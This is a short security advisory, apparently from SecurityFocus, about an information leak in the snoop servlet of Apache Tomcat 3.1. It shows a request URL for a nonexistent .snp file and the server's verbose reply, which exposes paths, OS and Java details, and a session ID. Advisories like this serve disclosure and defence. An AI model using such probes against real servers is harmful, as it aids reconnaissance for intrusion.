source: https://www.securityfocus.com/bid/1532/info

A vulnerability exists in the snoop servlet portion of the Tomcat package, version 3.1, from the Apache Software Foundation. Upon hitting an nonexistent file with the .snp extension, too much information is presented by the server as part of the error message. This information may be useful to a would be attacker in conducting further attacks. This information includes full paths, OS information, and other information that may be sensitive. 

http://narco.guerrilla.sucks.co:8080/examples/jsp/snp/anything.snp
====
Snoop Servlet

Servlet init parameters:

Context init parameters:

Context attributes:
javax.servlet.context.tempdir =
/appsrv2/jakarta-tomcat/work/localhost_8080%2Fexamples
sun.servlet.workdir =
/appsrv2/jakarta-tomcat/work/localhost_8080%2Fexamples

Request attributes:

Servlet Name: snoop
Protocol: HTTP/1.0
Scheme: http
Server Name: narco.goverment.sucks.co
Server Port: 8080
Server Info: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.1.8; AIX
4.2 POWER_RS; java.vendor=IBM Corporation)
Remote Addr: xxx.xxx.xxx.xxx
Remote Host: xxx.xxx.xxx.xxx
Character Encoding: null
Content Length: -1
Content Type: null
Locale: en
Default Response Buffer: 8192

Parameter names in this request:

Headers in this request:
Host: narco.goverment.sucks.co:8080
Accept-Encoding: gzip
Cookie: JSESSIONID=To1212mC7833304641226407At
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png,
*/*
Connection: Keep-Alive
Accept-Charset: iso-8859-1,*,utf-8
User-Agent: Mozilla/4.51 [en] (Winsucks; I)
Accept-Language: en

Cookies in this request:
JSESSIONID = To1212mC7833304641226407At

Request Is Secure: false
Auth Type: null
HTTP Method: GET
Remote User: null
Request URI: /examples/jsp/snp/anything.snp
Context Path: /examples
Servlet Path: /jsp/snp/anything.snp
Path Info: null
Path Trans: null
Query String: null

Requested Session Id: To1212mC7833304641226407At
Current Session Id: To1212mC7833304641226407At
Session Created Time: 964047263477
Session Last Accessed Time: 964047528749
Session Max Inactive Interval Seconds: 1800

Session values:
numguess = num.NumberGuessBean@6bfa9a1